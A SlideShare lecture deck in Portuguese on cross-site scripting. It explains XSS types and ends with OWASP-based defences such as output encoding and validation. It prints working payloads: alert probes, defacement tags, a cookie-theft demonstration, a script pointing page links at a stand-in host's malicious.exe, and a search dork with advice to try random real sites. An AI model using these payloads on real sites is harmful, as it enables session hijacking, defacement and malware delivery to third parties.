SlideShare uma empresa Scribd logo
Carlos Henrique M. da Silva
carloshenrique.85@globo.com
A vulnerabilidade de Cross-Site-Script (XSS) é umas das
mais antigas e presentes desde os primórdios da
programação para Web dinâmica, a falha de XSS é
extremamente encontrada nos sistemas Web , permite ao
atacante obter controle total da sessão de autenticação do
usuário/vítima.
A vulnerabilidade de XSS executa códigos JavaScript no
navegador da vítima sem o consentimento dela. Com isto,
é possível enviar requisições para o servidor utilizando as
credenciais de permissão da vítima atacada.
O ataque de XSS ocorre quando um atacante utiliza a
aplicação web para enviar códigos maliciosos, geralmente
na forma de Browser Side Scripts para um usuário
acessar.
UTILIDADES MAIS COMUNS DE USO
 Roubar cookies do browser para efetuar um sequestro de
sessão;
 Defacement (Pixação);
 Proporcionar um DoS ou um DDoS.
 Iludir o usuário para que este acesse um determinado
conteúdo e preencha dados seus pensando que está
utilizando o site real, quando na verdade o conteúdo que
o mesmo está acessando faz parte de um HTML
malicioso que foi embutido em algum componente
vulnerável da aplicação.
-
3 TIPOS DE ATQUES XSS MAIS UTILIZADOS:
O primeiro tipo de ataque é de “XSS URL”, que
significa que o XSS não está na página e apenas
será executado se colocar o código malicioso na
URL e enviar a URL.
O segundo tipo é em campos de texto (ou senhas),
onde podemos entrar com dados, que muito
comumente são vulneráveis a XSS.
No terceiro tipo, é possível inserir dados (códigos)
e eles serão armazenados no site.
Encontrando vulnerabilidade à XSS
1. Na “mão”: procurando em Blogs, Fóruns, Caixas de
texto para mensagens, comentários, busca,… No qual
podemos entrar com dados;
2. Google Dork: inurl:”search.php?q=”
Vamos começar a aprender agora alguma coisa dos
métodos XSS utilizados atualmente e o tipo de XSS Injection
mais utilizado é:
<script>alert("XSS")</script>
Esse código fará com que uma caixa de mensagem de
alerta, com “XSS” escrito nela, apareça na tela.
ATACANDO
Depois de encontrado um site com do tipo search.php?q=
vamos simplesmente tentar o seguinte: digite após o sinal
de = o código <script>alert(“XSS”)</script>.
A URL na barra de endereço do browser ficará assim:
http://site.com/search.php?q=<script>alert("XSS")</script>
Há grandes chances de esse método
funcionar, mas não se preocupe se isso não
ocorrer. Apenas tente em outro site…
DEFACMENT COM XSS
<IMG SRC="http://mywebsite.com/defacmentpic.jpg">
Imagem
<embed src=http://mywebsite.com/deface.swf/>
Arquivo Flash
<embed src="deface.mid" hidden autostart="true"
loop="false" /> Arquivo de música em modo oculto
<script>window.open( "http://www.XXXXXXX.net/"
)</script>
Redirecionar para outro site, neste caso
"XXXXXXXXXXXX.net"
ROUBAR COOKIES USANDO XSS
O método mais utilizado de XSS é o roubo de cookies.
Tome-se como exemplo um aplicativo web que receba um
parâmetro “nome” contendo a identificação do usuário
legítimo e apresente o conteúdo sem quaisquer filtros:
http://www.vul.site/welcome.html?name=fulano
echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) +
‘</h1>';
Considere que um usuário mal intecionado altere o atalho
para incluir um código arbitrário a ser executado no
navegador do usuário alvo:
Se um usuário legítimo e com acesso ao aplicativo
vulnerável realizar a requisição acima, o código javascript
‘alert(document.cookie)’ será executado sem ressalvas no
navegador do usuário alvo.
http://www.vul.site/welcome.html?name=
<script>alert(document.cookie)</script>
Outros exemplos de ataque podem substituir links válidos
por uma referência a um arquivo executável contendo um
vírus ou um cavalo de tróia:
http://www.example.com/welcome.html?name=
<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href =
"http://badexample.com/malicious.exe"; }</script>
Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades
de XSS que afetam aplicativos web na Internet.
A melhor maneira de proteger uma aplicação web de
ataques XSS é garantir que sua aplicação realize validação
de todos os cabeçalhos, cookies, strings de consulta,
campos de formulário e campos escondidos contra uma
rigorosa especificação do que pode ser permitido.
PROTEÇÃO
Codificar a saída fornecida pelo usuário pode ajudar a
mitigar as vulnerabilidades XSS prevenindo scripts
inseridos de serem transmitidos para usuários em formato
executável. Aplicações podem ter ganhos significativos de
proteção contra ataques baseados em javascript pela
conversão dos seguintes caracteres em todos as entradas
geradas para o código HTML apropriado: Visual Código
&nbsp;
& &amp;
> &gt;
< &lt;
PROTEÇÃO
Uma boa referência para apoiar a filtragem de dados é
o dicionário de ataques XSS fornecido pelo OWASP.
Por outro lado, os ataques de XSS também podem ser
evitados pela implementação de um filtro de aplicações
web, mais conhecido como Web Application Firewall, e
também por meio de mecanismos de prevenção que estão
embutidos em navegadores modernos.
PROTEÇÃO
O projeto de Filtros OWASP produz componentes
reutilizáveis em várias linguagens para ajudar a prevenir
muitas formas de adulterar parâmetros, incluindo a
injeção de ataques XSS. OWASP também tem lançado o
CodeSeeker (um firewall de nível de aplicação).
Adicionalmente, o programa de treinamento OWASP
WebGoat tem lições sobre XSS e codificação de dados.
PROTEÇÃO
 Formado em Análise de Sistemas
 Pós-Graduado em Auditoria em T.I.
 Gerente de TI da CLIOC – Coleção de Leishmania do
Instituto Oswaldo Cruz – Fiocruz
 Certificado em Gestão de Segurança da Informação e
Gerenciamento de T.I. pela Academia Latino-Americana
(Microsoft TechNet / Módulo Security)
Carlos Henrique M. da Silva
carloshenrique.85@globo.com

Mais conteúdo relacionado

PPTX
Arquitetura de Software
PPTX
Segurança da informação
PPSX
Seminario seguranca da informacao
PDF
Introdução a JavaScript
PDF
Arquitetura de Software
PDF
Banco de Dados I - Aula 03 - Conceitos de Sistemas de Banco de Dados
PPTX
Aula 02 - Escolha caso
PDF
Introdução à Engenharia de Software
Arquitetura de Software
Segurança da informação
Seminario seguranca da informacao
Introdução a JavaScript
Arquitetura de Software
Banco de Dados I - Aula 03 - Conceitos de Sistemas de Banco de Dados
Aula 02 - Escolha caso
Introdução à Engenharia de Software

Mais procurados (20)

PDF
Relatório de Teste Invasão fícticio
PPTX
Informática Básica - Aula 05 - Sistema Operacional Windows
PDF
Boas Práticas em Segurança da Informação
PDF
Sistema operacional windows_10
PDF
Lista de exercícios em portugol
PPTX
Engenharia De Software
PDF
Arquitetura de Software Na Pratica
PDF
Aula 6 - Qualidade de Software
PDF
Introdução aos Sistemas Distribuídos
PDF
Aula 1 - Introdução a Engenharia de Software
PDF
Es capítulo 5 - modelagem de sistemas
PPTX
01 Introdução à programação web
PPTX
Tipos de Sistema operacional
PDF
Aula 1 requisitos
PPT
Padrões de Projetos de Interface do Usuário
PDF
Organizacao e estrutura de Computadores
PDF
Aula 1 - Introdução a POO
PPTX
Informática Básica - Aula 09 - Uso de E-mail
PDF
HERANÇA - Programação Orientada a Objetos JAVA
PPTX
Aula 03 - Hardware e Software
Relatório de Teste Invasão fícticio
Informática Básica - Aula 05 - Sistema Operacional Windows
Boas Práticas em Segurança da Informação
Sistema operacional windows_10
Lista de exercícios em portugol
Engenharia De Software
Arquitetura de Software Na Pratica
Aula 6 - Qualidade de Software
Introdução aos Sistemas Distribuídos
Aula 1 - Introdução a Engenharia de Software
Es capítulo 5 - modelagem de sistemas
01 Introdução à programação web
Tipos de Sistema operacional
Aula 1 requisitos
Padrões de Projetos de Interface do Usuário
Organizacao e estrutura de Computadores
Aula 1 - Introdução a POO
Informática Básica - Aula 09 - Uso de E-mail
HERANÇA - Programação Orientada a Objetos JAVA
Aula 03 - Hardware e Software
Anúncio

Destaque (17)

PPT
Cross Site Scripting - XSS
PPTX
Aula 8 - SQL Injection
PPTX
PPTX
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
PDF
Bibliografia recomendada - programação C
PDF
Invasão e Segurança
PPTX
Aula 2 - Gestão de Riscos
PPTX
Segurança da Informação Aplicada a Negócios
PPTX
Aula 5 - Assinatura e Certificado Digital
PPTX
Aula 7 - Ataque de Força Bruta
PPT
Aula 4 - Plano de Continuidade de Negócios (PCN)
PPT
Aula 3 - Política de Segurança da Informação (PSI)
PDF
Guia Salarial 2017 Robert Half Brasil
PPTX
Aula 1 - Introdução a Segurança da Informação
PDF
Projeto em Seguranca da Informação
Cross Site Scripting - XSS
Aula 8 - SQL Injection
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
Bibliografia recomendada - programação C
Invasão e Segurança
Aula 2 - Gestão de Riscos
Segurança da Informação Aplicada a Negócios
Aula 5 - Assinatura e Certificado Digital
Aula 7 - Ataque de Força Bruta
Aula 4 - Plano de Continuidade de Negócios (PCN)
Aula 3 - Política de Segurança da Informação (PSI)
Guia Salarial 2017 Robert Half Brasil
Aula 1 - Introdução a Segurança da Informação
Projeto em Seguranca da Informação
Anúncio

Semelhante a Aula 10 - Cross Site Scripting (XSS) (20)

PDF
Segurança em Aplicações ASP.NET (XSS e CSRF)
PDF
Website security
DOCX
Segurança e Auditoria de sistemas
PPT
Construindo uma Aplicação PHP à Prova de Balas
PPT
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
PDF
Xss Desvendado!
PDF
Testes de segurança em aplicações web
PDF
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
PDF
Cross Site Scripting
PDF
Teste de Segurança: Vulnerabilidade de Aplicações Web
PPTX
Desenvolvendo sistemas seguros com PHP
PDF
Segurança em Aplicações Web
KEY
Construindo uma Aplicação PHP à Prova de Balas - 2010
PDF
Quem tem medo do XSS
PDF
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
PPTX
Workshop - Testes de Segurança
PPS
XSS Injection ou Cross Site Scripting e seus perigos
PDF
Analise de vulnerabilidade como e feita.
PPTX
Aplicações Web ‐ Seu site está seguro?
PPTX
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
Segurança em Aplicações ASP.NET (XSS e CSRF)
Website security
Segurança e Auditoria de sistemas
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Xss Desvendado!
Testes de segurança em aplicações web
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Cross Site Scripting
Teste de Segurança: Vulnerabilidade de Aplicações Web
Desenvolvendo sistemas seguros com PHP
Segurança em Aplicações Web
Construindo uma Aplicação PHP à Prova de Balas - 2010
Quem tem medo do XSS
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Workshop - Testes de Segurança
XSS Injection ou Cross Site Scripting e seus perigos
Analise de vulnerabilidade como e feita.
Aplicações Web ‐ Seu site está seguro?
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE

Último (16)

PDF
20250805_ServiceNow e a Arquitetura Orientada a Serviços (SOA) A Base para Ap...
PDF
Gestão de transportes básica no SAP S/4HANA, S4611 Col20
PPTX
Informática Aplicada Informática Aplicada Plano de Ensino - estudo de caso NR...
PDF
Processos na gestão de transportes, TM100 Col18
PPTX
Como-se-implementa-um-softwareeeeeeeeeeeeeeeeeeeeeeeee.pptx
PDF
Termos utilizados na designação de relação entre pessoa e uma obra.pdf
PDF
COBITxITIL-Entenda as diferença em uso governança TI
PPTX
Arquitetura de computadores - Memórias Secundárias
PDF
Otimizador de planejamento e execução no SAP Transportation Management, TM120...
PDF
Mergulho profundo técnico para gestão de transportes no SAP S/4HANA, S4TM6 Col14
PPTX
Gestao-de-Bugs-em-Software-Introducao.pptxxxxxxxx
PPTX
Programação - Linguagem C - Variáveis, Palavras Reservadas, tipos de dados, c...
PDF
Fundamentos de gerenciamento de ordens e planejamento no SAP TransportationMa...
PDF
Custos e liquidação no SAP Transportation Management, TM130 Col18
PDF
Custos e faturamento no SAP S/4HANA Transportation Management, S4TM3 Col26
PDF
Fullfilment AI - Forum ecommerce 2025 // Distrito e Total Express
20250805_ServiceNow e a Arquitetura Orientada a Serviços (SOA) A Base para Ap...
Gestão de transportes básica no SAP S/4HANA, S4611 Col20
Informática Aplicada Informática Aplicada Plano de Ensino - estudo de caso NR...
Processos na gestão de transportes, TM100 Col18
Como-se-implementa-um-softwareeeeeeeeeeeeeeeeeeeeeeeee.pptx
Termos utilizados na designação de relação entre pessoa e uma obra.pdf
COBITxITIL-Entenda as diferença em uso governança TI
Arquitetura de computadores - Memórias Secundárias
Otimizador de planejamento e execução no SAP Transportation Management, TM120...
Mergulho profundo técnico para gestão de transportes no SAP S/4HANA, S4TM6 Col14
Gestao-de-Bugs-em-Software-Introducao.pptxxxxxxxx
Programação - Linguagem C - Variáveis, Palavras Reservadas, tipos de dados, c...
Fundamentos de gerenciamento de ordens e planejamento no SAP TransportationMa...
Custos e liquidação no SAP Transportation Management, TM130 Col18
Custos e faturamento no SAP S/4HANA Transportation Management, S4TM3 Col26
Fullfilment AI - Forum ecommerce 2025 // Distrito e Total Express

Aula 10 - Cross Site Scripting (XSS)

  • 1. Carlos Henrique M. da Silva carloshenrique.85@globo.com
  • 2. A vulnerabilidade de Cross-Site-Script (XSS) é umas das mais antigas e presentes desde os primórdios da programação para Web dinâmica, a falha de XSS é extremamente encontrada nos sistemas Web , permite ao atacante obter controle total da sessão de autenticação do usuário/vítima.
  • 3. A vulnerabilidade de XSS executa códigos JavaScript no navegador da vítima sem o consentimento dela. Com isto, é possível enviar requisições para o servidor utilizando as credenciais de permissão da vítima atacada.
  • 4. O ataque de XSS ocorre quando um atacante utiliza a aplicação web para enviar códigos maliciosos, geralmente na forma de Browser Side Scripts para um usuário acessar.
  • 5. UTILIDADES MAIS COMUNS DE USO  Roubar cookies do browser para efetuar um sequestro de sessão;  Defacement (Pixação);  Proporcionar um DoS ou um DDoS.  Iludir o usuário para que este acesse um determinado conteúdo e preencha dados seus pensando que está utilizando o site real, quando na verdade o conteúdo que o mesmo está acessando faz parte de um HTML malicioso que foi embutido em algum componente vulnerável da aplicação. -
  • 6. 3 TIPOS DE ATQUES XSS MAIS UTILIZADOS: O primeiro tipo de ataque é de “XSS URL”, que significa que o XSS não está na página e apenas será executado se colocar o código malicioso na URL e enviar a URL.
  • 7. O segundo tipo é em campos de texto (ou senhas), onde podemos entrar com dados, que muito comumente são vulneráveis a XSS.
  • 8. No terceiro tipo, é possível inserir dados (códigos) e eles serão armazenados no site.
  • 9. Encontrando vulnerabilidade à XSS 1. Na “mão”: procurando em Blogs, Fóruns, Caixas de texto para mensagens, comentários, busca,… No qual podemos entrar com dados; 2. Google Dork: inurl:”search.php?q=”
  • 10. Vamos começar a aprender agora alguma coisa dos métodos XSS utilizados atualmente e o tipo de XSS Injection mais utilizado é: <script>alert("XSS")</script> Esse código fará com que uma caixa de mensagem de alerta, com “XSS” escrito nela, apareça na tela. ATACANDO
  • 11. Depois de encontrado um site com do tipo search.php?q= vamos simplesmente tentar o seguinte: digite após o sinal de = o código <script>alert(“XSS”)</script>. A URL na barra de endereço do browser ficará assim: http://site.com/search.php?q=<script>alert("XSS")</script> Há grandes chances de esse método funcionar, mas não se preocupe se isso não ocorrer. Apenas tente em outro site…
  • 12. DEFACMENT COM XSS <IMG SRC="http://mywebsite.com/defacmentpic.jpg"> Imagem <embed src=http://mywebsite.com/deface.swf/> Arquivo Flash <embed src="deface.mid" hidden autostart="true" loop="false" /> Arquivo de música em modo oculto <script>window.open( "http://www.XXXXXXX.net/" )</script> Redirecionar para outro site, neste caso "XXXXXXXXXXXX.net"
  • 13. ROUBAR COOKIES USANDO XSS O método mais utilizado de XSS é o roubo de cookies. Tome-se como exemplo um aplicativo web que receba um parâmetro “nome” contendo a identificação do usuário legítimo e apresente o conteúdo sem quaisquer filtros: http://www.vul.site/welcome.html?name=fulano echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';
  • 14. Considere que um usuário mal intecionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo: Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo. http://www.vul.site/welcome.html?name= <script>alert(document.cookie)</script>
  • 15. Outros exemplos de ataque podem substituir links válidos por uma referência a um arquivo executável contendo um vírus ou um cavalo de tróia: http://www.example.com/welcome.html?name= <script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades de XSS que afetam aplicativos web na Internet.
  • 16. A melhor maneira de proteger uma aplicação web de ataques XSS é garantir que sua aplicação realize validação de todos os cabeçalhos, cookies, strings de consulta, campos de formulário e campos escondidos contra uma rigorosa especificação do que pode ser permitido. PROTEÇÃO
  • 17. Codificar a saída fornecida pelo usuário pode ajudar a mitigar as vulnerabilidades XSS prevenindo scripts inseridos de serem transmitidos para usuários em formato executável. Aplicações podem ter ganhos significativos de proteção contra ataques baseados em javascript pela conversão dos seguintes caracteres em todos as entradas geradas para o código HTML apropriado: Visual Código &nbsp; & &amp; > &gt; < &lt; PROTEÇÃO
  • 18. Uma boa referência para apoiar a filtragem de dados é o dicionário de ataques XSS fornecido pelo OWASP. Por outro lado, os ataques de XSS também podem ser evitados pela implementação de um filtro de aplicações web, mais conhecido como Web Application Firewall, e também por meio de mecanismos de prevenção que estão embutidos em navegadores modernos. PROTEÇÃO
  • 19. O projeto de Filtros OWASP produz componentes reutilizáveis em várias linguagens para ajudar a prevenir muitas formas de adulterar parâmetros, incluindo a injeção de ataques XSS. OWASP também tem lançado o CodeSeeker (um firewall de nível de aplicação). Adicionalmente, o programa de treinamento OWASP WebGoat tem lições sobre XSS e codificação de dados. PROTEÇÃO
  • 20.  Formado em Análise de Sistemas  Pós-Graduado em Auditoria em T.I.  Gerente de TI da CLIOC – Coleção de Leishmania do Instituto Oswaldo Cruz – Fiocruz  Certificado em Gestão de Segurança da Informação e Gerenciamento de T.I. pela Academia Latino-Americana (Microsoft TechNet / Módulo Security) Carlos Henrique M. da Silva carloshenrique.85@globo.com